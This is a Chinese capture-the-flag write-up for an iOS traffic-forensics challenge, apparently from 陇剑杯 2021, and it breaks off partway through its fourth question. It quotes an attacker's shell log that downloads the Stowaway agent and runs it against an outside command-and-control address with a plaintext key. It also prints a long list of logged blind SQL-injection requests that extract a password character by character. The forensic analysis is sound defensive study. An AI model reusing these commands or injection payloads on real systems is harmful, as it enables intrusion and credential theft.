2021 陇剑杯 iOS 流量分析
2026-08-22 20:06:53

流量分析

  • 抓包过滤
  • 使用keylog.txt解密TLS
  • 查看专家信息发现RST
  • 导出csv用于自动化分析
  • GET/POST请求
  • Referer、User-Agent、Cookie 等头部含义
  • URL 编码（如 %27 = '）

web

  • SQL注入
  • webshell一句话木马
  • php后门
  • 密码=参数名
  • 命令执行
  • Base64
  • 日志分析

内网渗透和攻击链

  • 端口扫描
  • 内网IP识别
  • 攻击流程还原
  • 角色区分

问1

一位ios的安全研究员在家中使用手机联网被黑，不仅被窃密还丢失比特币若干，请你通过流量和日志分析后作答：****黑客所控制的C&C服务器IP是_____________。得到的flag请使用NSSCTF{}格式提交。

协议分级统计：全是tcp

过滤器：tcp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
testiphonex:~ root# 
ls

Library
Media
key.key
testiphonex:~ root# 
wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent

--2021-08-29 01:52:11--  https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent
Resolving github.com... 13.250.177.223
Connecting to github.com|13.250.177.223|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Query=[REDACTED] [following]
--2021-08-29 01:53:22--  https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Query=[REDACTED]
Resolving github-releases.githubusercontent.com... 2606:50c0:8001::154, 2606:50c0:8003::154, 2606:50c0:8002::154, ...
Connecting to github-releases.githubusercontent.com|2606:50c0:8001::154|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4061072 (3.9M) [application/octet-stream]
Saving to: 'ios_agent'

     0K .......... .......... .......... .......... ..........  1%  337K 12s
    50K .......... .......... .......... .......... ..........  2%  400K 11s
   100K .......... .......... .......... .......... ..........  3%  744K 9s
   150K .......... .......... .......... .......... ..........  5%  567K 8s
   200K .......... .......... .......... .......... ..........  6%  810K 7s
   250K .......... .......... .......... .......... ..........  7%  135K 11s
   300K .......... .......... .......... .......... ..........  8% 16.3M 9s
   350K .......... .......... .......... .......... .......... 10%  319K 9s
   400K .......... .......... .......... .......... .......... 11%  201K 10s
   450K .......... .......... .......... .......... .......... 12% 3.79M 9s
   500K .......... .......... .......... .......... .......... 13%  347K 9s
   550K .......... .......... .......... .......... .......... 15%  402K 9s
   600K .......... .......... .......... .......... .......... 16%  354K 9s
   650K .......... .......... .......... .......... .......... 17%  343K 9s
   700K .......... .......... .......... .......... .......... 18%  195K 9s
   750K .......... .......... .......... .......... .......... 20% 2.19M 8s
   800K .......... .......... .......... .......... .......... 21%  329K 8s
   850K .......... .......... .......... .......... .......... 22%  295K 8s
   900K .......... .......... .......... .......... .......... 23%  324K 8s
   950K .......... .......... .......... .......... .......... 25%  299K 8s
  1000K .......... .......... .......... .......... .......... 26%  187K 8s
  1050K .......... .......... .......... .......... .......... 27%  324K 8s
  1100K .......... .......... .......... .......... .......... 28%  273K 8s
  1150K .......... .......... .......... .......... .......... 30%  269K 8s
  1200K .......... .......... .......... .......... .......... 31%  244K 8s
  1250K .......... .......... .......... .......... .......... 32%  446K 8s
  1300K .......... .......... .......... .......... .......... 34%  327K 8s
  1350K .......... .......... .......... .......... .......... 35%  263K 8s
  1400K .......... .......... .......... .......... .......... 36%  345K 8s
  1450K .......... .......... .......... .......... .......... 37%  348K 7s
  1500K .......... .......... .......... .......... .......... 39%  339K 7s
  1550K .......... .......... .......... .......... .......... 40%  349K 7s
  1600K .......... .......... .......... .......... .......... 41%  350K 7s
  1650K .......... .......... .......... .......... .......... 42%  325K 7s
  1700K .......... .......... .......... .......... .......... 44%  354K 7s
  1750K .......... .......... .......... .......... .......... 45%  434K 6s
  1800K .......... .......... .......... .......... .......... 46%  310K 6s
  1850K .......... .......... .......... .......... .......... 47%  399K 6s
  1900K .......... .......... .......... .......... .......... 49%  389K 6s
  1950K .......... .......... .......... .......... .......... 50%  404K 6s
  2000K .......... .......... .......... .......... .......... 51%  393K 6s
  2050K .......... .......... .......... .......... .......... 52%  489K 5s
  2100K .......... .......... .......... .......... .......... 54%  467K 5s
  2150K .......... .......... .......... .......... .......... 55%  424K 5s
  2200K .......... .......... .......... .......... .......... 56%  377K 5s
  2250K .......... .......... .......... .......... .......... 57%  255K 5s
  2300K .......... .......... .......... .......... .......... 59% 1.09M 5s
  2350K .......... .......... .......... .......... .......... 60%  352K 4s
  2400K .......... .......... .......... .......... .......... 61%  421K 4s
  2450K .......... .......... .......... .......... .......... 63%  453K 4s
  2500K .......... .......... .......... .......... .......... 64%  284K 4s
  2550K .......... .......... .......... .......... .......... 65%  473K 4s
  2600K .......... .......... .......... .......... .......... 66%  455K 4s
  2650K .......... .......... .......... .......... .......... 68%  363K 4s
  2700K .......... .......... .......... .......... .......... 69%  426K 3s
  2750K .......... .......... .......... .......... .......... 70%  814K 3s
  2800K .......... .......... .......... .......... .......... 71%  419K 3s
  2850K .......... .......... .......... .......... .......... 73%  316K 3s
  2900K .......... .......... .......... .......... .......... 74%  518K 3s
  2950K .......... .......... .......... .......... .......... 75%  198K 3s
  3000K .......... .......... .......... .......... .......... 76%  609K 3s
  3050K .......... .......... .......... .......... .......... 78%  670K 2s
  3100K .......... .......... .......... .......... .......... 79%  449K 2s
  3150K .......... .......... .......... .......... .......... 80%  487K 2s
  3200K .......... .......... .......... .......... .......... 81%  387K 2s
  3250K .......... .......... .......... .......... .......... 83%  430K 2s
  3300K .......... .......... .......... .......... .......... 84%  359K 2s
  3350K .......... .......... .......... .......... .......... 85%  420K 2s
  3400K .......... .......... .......... .......... .......... 86%  240K 1s
  3450K .......... .......... .......... .......... .......... 88%  621K 1s
  3500K .......... .......... .......... .......... .......... 89%  388K 1s
  3550K .......... .......... .......... .......... .......... 90%  422K 1s
  3600K .......... .......... .......... .......... .......... 92%  411K 1s
  3650K .......... .......... .......... .......... .......... 93%  374K 1s
  3700K .......... .......... .......... .......... .......... 94%  400K 1s
  3750K .......... .......... .......... .......... .......... 95%  400K 0s
  3800K .......... .......... .......... .......... .......... 97%  276K 0s
  3850K .......... .......... .......... .......... .......... 98%  448K 0s
  3900K .......... .......... .......... .......... .......... 99%  435K 0s
  3950K .......... .....                                      100%  433K=11s

2021-08-29 01:53:35 (368 KB/s) - 'ios_agent' saved [4061072/4061072]

testiphonex:~ root# 
./ios_agent -c 3.128.156.159:8081 -s hack4sec

2021/08/28 17:53:50 [*] Starting agent node actively.Connecting to 3.128.156.159:8081

./ios_agent -c 3.128.156.159:8081 -s hack4sec

该命令启动了一个名为ios_agent的后门程序，并主动连接到远程服务器3.128.156.159：8081（3.128.156.159是ip地址，8081是端口）

NSSCTF{3.128.156.159}

问2

黑客利用的Github开源项目的名字是______。（如有字母请全部使用小写）

wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent

这个url指向了github用户ph4ntonn下的一个开源项目Stowaway

NSSCTF{stowaway}

问3

通讯加密密钥的明文是____________。

./ios_agent -c 3.128.156.159:8081 -s hack4sec

-s参数用于通信加密的密钥

于是命令行中直接明文传递的密钥值是：hack4sec

NSSCTF{hack4sec}

问4

**一位ios的安全研究员在家中使用手机联网被黑，不仅被窃密还丢失比特币若干，请你通过流量和日志分析后作答：
**黑客通过SQL盲注拿到了一个敏感数据，内容是____________。

一、抓包分析

使用 Wireshark 分析 triffic.pcap 文件。

设置 TLS 解密密钥keylog.txt，说明通信是 HTTPS 加密的，但可以通过 Pre-Master-Secret 日志解密

编辑→首选项→Protocols→TLS→选中keylog.txt作为Pre-Master-Secret log filename→确定

过滤器：http2Ctrl+F:select

发现大量的sql盲注请求

1
2
GET /info?l=1&o=
(case_when_(select_hex(substr(password,1,1)))_from_user)="

TLS

ios基本上都强制使用HTTPS，而明文HTTP在ios上会被ATS(App Transport Security)拦截，除非开发者显式关闭

所以ios应用里所有敏感通信都是加密的TLS流量

但是因为有keylog.txt提供了密钥，现在就可以查看原始HTTP请求

为什么过滤器选http2

从ios9开始，ios app绝大多数都使用HTTP/2

HTTP/2相比HTTP/1减少了连接数，更高效，还是HPACK

用过滤器http2快速定位所有已解密的HTTP/2请求和响应

为什么ctrl+F搜索select

select是SQL查询的关键词，在注入语句里必然出现

二、导出HTTP请求为CSV

导出HTTP请求为CSV

文件→导出分组解析结果→As CSV

得到原始HTTP请求头信息：Info列中记录了完整的url参数

三、用py脚本1.py提取 SQL 注入语句

写一个py脚本：扫描csv中每一行，如果某项包含select_hex,说明是盲注语句，对其进行url解码（因为参数可能被编码，再写入2.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import csv
import urllib.parse
import os

# 获取脚本所在目录
script_dir = os.path.dirname(os.path.abspath(__file__))

# 构造 CSV 文件路径（与脚本同目录）
csv_file_path = os.path.join(script_dir, '111.csv')

# 构造输出文件路径（当前目录）
output_file_path = os.path.join(script_dir, '2.txt')

# 打开 CSV 文件
with open(csv_file_path, newline='', encoding='utf-8') as csvfile:
    reader = csv.reader(csvfile)

    # 打开 2.txt 文件用于写入
    with open(output_file_path, 'w', encoding='utf-8') as txtfile:
        for row in reader:
            # 查找包含 SQL 盲注的语句
            for item in row:
                if 'select_hex' in item:
                    # URL 解码
                    decoded_sql = urllib.parse.unquote(item)

                    # 写入到 2.txt 文件
                    txtfile.write(decoded_sql + '\n')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
HEADERS[1]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[1]
HEADERS[3]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[3]
HEADERS[5]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[5]
HEADERS[7]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[7]
HEADERS[9]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[9]
HEADERS[11]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[11]
HEADERS[13]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[13]
HEADERS[15]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[15]
HEADERS[17]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[17]
HEADERS[19]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[19]
HEADERS[21]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[21]
HEADERS[23]: GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[23]
HEADERS[25]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[25]
HEADERS[27]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[27]
HEADERS[29]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[29]
HEADERS[31]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[31]
HEADERS[33]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[33]
HEADERS[35]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[35]
HEADERS[37]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[37]
HEADERS[39]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[39]
HEADERS[41]: GET /info?l=1&o=(case_when_(select_hex(substr(password,2,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[41]
HEADERS[43]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[43]
HEADERS[45]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[45]
HEADERS[47]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[47]
HEADERS[49]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[49]
HEADERS[51]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[51]
HEADERS[53]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[53]
HEADERS[55]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[55]
HEADERS[57]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[57]
HEADERS[59]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[59]
HEADERS[61]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[61]
HEADERS[63]: GET /info?l=1&o=(case_when_(select_hex(substr(password,3,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[63]
HEADERS[65]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[65]
HEADERS[67]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[67]
HEADERS[69]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[69]
HEADERS[71]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[71]
HEADERS[73]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[73]
HEADERS[75]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[75]
HEADERS[77]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[77]
HEADERS[79]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[79]
HEADERS[81]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[81]
HEADERS[83]: GET /info?l=1&o=(case_when_(select_hex(substr(password,4,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[83]
HEADERS[85]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[85]
HEADERS[87]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[87]
HEADERS[89]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[89]
HEADERS[91]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[91]
HEADERS[93]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[93]
HEADERS[95]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[95]
HEADERS[97]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[97]
HEADERS[99]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[99]
HEADERS[101]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[101]
HEADERS[103]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[103]
HEADERS[105]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[105]
HEADERS[107]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[107]
HEADERS[109]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[109]
HEADERS[111]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[111]
HEADERS[113]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[113]
HEADERS[115]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[115]
HEADERS[117]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[117]
HEADERS[119]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[119]
HEADERS[121]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[121]
HEADERS[123]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[123]
HEADERS[125]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[125]
HEADERS[127]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[127]
HEADERS[129]: GET /info?l=1&o=(case_when_(select_hex(substr(password,6,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[129]
HEADERS[131]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[131]
HEADERS[133]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[133]
HEADERS[135]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[135]
HEADERS[137]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[137]
HEADERS[139]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[139]
HEADERS[141]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[141]
HEADERS[143]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[143]
HEADERS[145]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[145]
HEADERS[147]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[147]
HEADERS[149]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[149]
HEADERS[151]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[151]
HEADERS[153]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[153]
HEADERS[155]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[155]
HEADERS[157]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[157]
HEADERS[159]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[159]
HEADERS[161]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[161]
HEADERS[163]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[163]
HEADERS[165]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[165]
HEADERS[167]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[167]
HEADERS[169]: GET /info?l=1&o=(case_when_(select_hex(substr(password,7,1))_from_user)="66"_then_id_else_col1_end), WINDOW_UPDATE[169]
HEADERS[171]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[171]
HEADERS[173]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[173]
HEADERS[175]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[175]
HEADERS[177]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[177]
HEADERS[179]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[179]
HEADERS[181]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[181]
HEADERS[183]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[183]
HEADERS[185]: GET /info?l=1&o=(case_when_(select_hex(substr(password,8,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[185]
HEADERS[187]: GET /info?l=1&o=(case_when_(select_hex(substr(password,9,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[187]
HEADERS[189]: GET /info?l=1&o=(case_when_(select_hex(substr(password,9,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[189]
HEADERS[191]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[191]
HEADERS[193]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[193]
HEADERS[195]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[195]
HEADERS[197]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[197]
HEADERS[199]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[199]
HEADERS[201]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[201]
HEADERS[203]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[203]
HEADERS[205]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[205]
HEADERS[207]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[207]
HEADERS[209]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[209]
HEADERS[211]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[211]
HEADERS[213]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[213]
HEADERS[215]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[215]
HEADERS[217]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[217]
HEADERS[219]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[219]
HEADERS[221]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[221]
HEADERS[223]: GET /info?l=1&o=(case_when_(select_hex(substr(password,10,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[223]
HEADERS[225]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[225]
HEADERS[227]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[227]
HEADERS[229]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[229]
HEADERS[231]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[231]
